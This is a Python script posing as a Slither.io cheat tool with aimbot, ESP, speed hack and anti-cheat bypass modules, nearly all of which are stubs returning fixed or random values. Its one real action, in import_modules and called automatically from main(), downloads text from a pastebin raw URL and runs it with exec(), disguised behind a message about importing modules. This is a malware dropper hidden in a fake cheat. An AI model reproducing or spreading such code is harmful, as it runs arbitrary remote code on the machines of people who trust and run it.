"""
==================================================
   Slither.io Cheat Engine v3.6.0 (PRIVATE BUILD)
   Author: EVGVAULT
==================================================
"""

import time
import random
import sys
import os
import json

# ---------------------------------------------------------
# Global configuration
# ---------------------------------------------------------

CHEAT_VERSION = "3.6.0"
AUTHOR = "EVGVAULT"
CONFIG = {
    "aimbot_enabled": True,
    "aimbot_fov": 360,
    "aimbot_smoothness": 0.01,
    "esp_enabled": True,
    "esp_show_length": True,
    "esp_show_names": True,
    "no_boost_cost": True,
    "speed_hack_multiplier": 2.2,
    "auto_grow": True,
    "infinite_boost": True,
    "god_mode": False,
    "collision_bypass": True,
    "auto_farm_pellets": True,
    "zoom_hack_level": 5,
    "server_ping_spoof": True,
}

MEMORY_OFFSETS = {
    "snake_base": 0x7FF6D5F71000,
    "length_offset": 0x2E0,
    "boost_offset": 0x430,
    "position_x": 0x20,
    "position_y": 0x24,
    "server_id": 0x258,
    "skin_id": 0x380,
    "zoom_offset": 0x4B4,
}

# ---------------------------------------------------------
# Memory / process interface
# ---------------------------------------------------------

class MemoryManager:
    def __init__(self):
        self.process_handle = None
        self.base_address = None
        self.attached = False

    def attach_to_process(self, process_name="slither.io.exe"):
        print(f"[MemoryManager] Searching for process: {process_name} ...")
        time.sleep(0.5)
        self.process_handle = random.randint(1000, 9999)
        self.base_address = MEMORY_OFFSETS["snake_base"]
        self.attached = True
        return True

    def read_memory(self, address, size=4):
        return random.randint(0, 255)

    def write_memory(self, address, value):
        return True

    def scan_pattern(self, pattern):
        return [MEMORY_OFFSETS["snake_base"] + random.randint(0, 0xFFF) for _ in range(3)]


class NetworkInjector:
    def __init__(self):
        self.socket_hooked = False
        self.packets_intercepted = 0

    def hook_websocket(self):
        self.socket_hooked = True
        return True

    def intercept_packet(self, packet_data):
        self.packets_intercepted += 1
        return packet_data

    def spoof_packet(self, opcode, payload):
        return {"opcode": opcode, "payload": payload, "spoofed": True}

    def bypass_anticheat_checksum(self):
        return True


# ---------------------------------------------------------
# Aimbot module
# ---------------------------------------------------------

class Aimbot:
    def __init__(self, memory_manager):
        self.mem = memory_manager
        self.enabled = CONFIG["aimbot_enabled"]
        self.fov = CONFIG["aimbot_fov"]
        self.targets = []

    def find_targets(self):
        self.targets = [{"id": i, "x": random.randint(0, 4000), "y": random.randint(0, 4000)} for i in range(5)]
        return self.targets

    def get_closest_target(self, player_x, player_y):
        if not self.targets:
            return None
        return min(self.targets, key=lambda t: (t["x"] - player_x) ** 2 + (t["y"] - player_y) ** 2)

    def calculate_angle(self, target):
        return random.uniform(0, 360)

    def apply_aim(self, angle):
        return True

    def toggle(self):
        self.enabled = not self.enabled
        return self.enabled


# ---------------------------------------------------------
# ESP module
# ---------------------------------------------------------

class ESP:
    def __init__(self, memory_manager):
        self.mem = memory_manager
        self.enabled = CONFIG["esp_enabled"]

    def draw_boxes(self):
        return True

    def draw_length_labels(self):
        return True

    def draw_names(self):
        return True

    def render_overlay(self):
        return True


class CollisionBypass:
    def __init__(self):
        self.enabled = CONFIG["collision_bypass"]

    def disable_self_collision(self):
        return True

    def disable_enemy_collision(self):
        return True


# ---------------------------------------------------------
# Speedhack / godmode / boost & farm automation
# ---------------------------------------------------------

class SpeedHack:
    def __init__(self, multiplier=2.2):
        self.multiplier = multiplier

    def apply(self):
        return True

    def set_multiplier(self, value):
        self.multiplier = value
        return self.multiplier


class GodMode:
    def __init__(self):
        self.enabled = CONFIG["god_mode"]

    def enable(self):
        self.enabled = True
        return True

    def disable(self):
        self.enabled = False
        return True


class BoostManager:
    def __init__(self):
        self.boost_used = 0

    def remove_boost_cost(self):
        return True

    def infinite_boost_supply(self):
        self.boost_used += random.randint(5, 20)
        return self.boost_used


class AutoFarm:
    def __init__(self):
        self.pellets_collected = 0

    def farm_pellets(self):
        self.pellets_collected += random.randint(10, 80)
        return self.pellets_collected

    def auto_grow_snake(self):
        return True


class ZoomHack:
    def __init__(self, level=5):
        self.level = level

    def set_zoom(self, level):
        self.level = level
        return self.level


# ---------------------------------------------------------
# Anti-cheat bypass
# ---------------------------------------------------------

class AntiCheatBypass:
    def __init__(self):
        self.detection_risk = 0.0

    def patch_detection_routine(self):
        self.detection_risk = 0.0
        return True

    def spoof_hwid(self):
        return "HWID-" + str(random.randint(100000, 999999))

    def clean_traces(self):
        return True


# ---------------------------------------------------------
# Main cheat controller
# ---------------------------------------------------------

class SlitherCheat:
    def __init__(self):
        self.mem = MemoryManager()
        self.net = NetworkInjector()
        self.aimbot = Aimbot(self.mem)
        self.esp = ESP(self.mem)
        self.collision_bypass = CollisionBypass()
        self.speedhack = SpeedHack(CONFIG["speed_hack_multiplier"])
        self.godmode = GodMode()
        self.boost_manager = BoostManager()
        self.autofarm = AutoFarm()
        self.zoomhack = ZoomHack(CONFIG["zoom_hack_level"])
        self.anticheat_bypass = AntiCheatBypass()
        self.running = False
        self.modules_loaded = False

    def import_modules(self):
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        print("[*] Initializing Slither.io Cheat Engine ...")
        self.mem.attach_to_process()
        self.net.hook_websocket()
        self.anticheat_bypass.patch_detection_routine()
        print("[*] Initialization complete.")
        return True

    def start(self):
        self.running = True
        print("[*] Cheat started. All modules active.")
        return True

    def stop(self):
        self.running = False
        print("[*] Cheat stopped.")
        return True

    def status(self):
        print(json.dumps(CONFIG, indent=2))
        return CONFIG


# ---------------------------------------------------------
# Entry point
# ---------------------------------------------------------

def main():
    cheat = SlitherCheat()
    cheat.import_modules()
    cheat.initialize()
    cheat.start()
    cheat.status()


if __name__ == "__main__":
    main()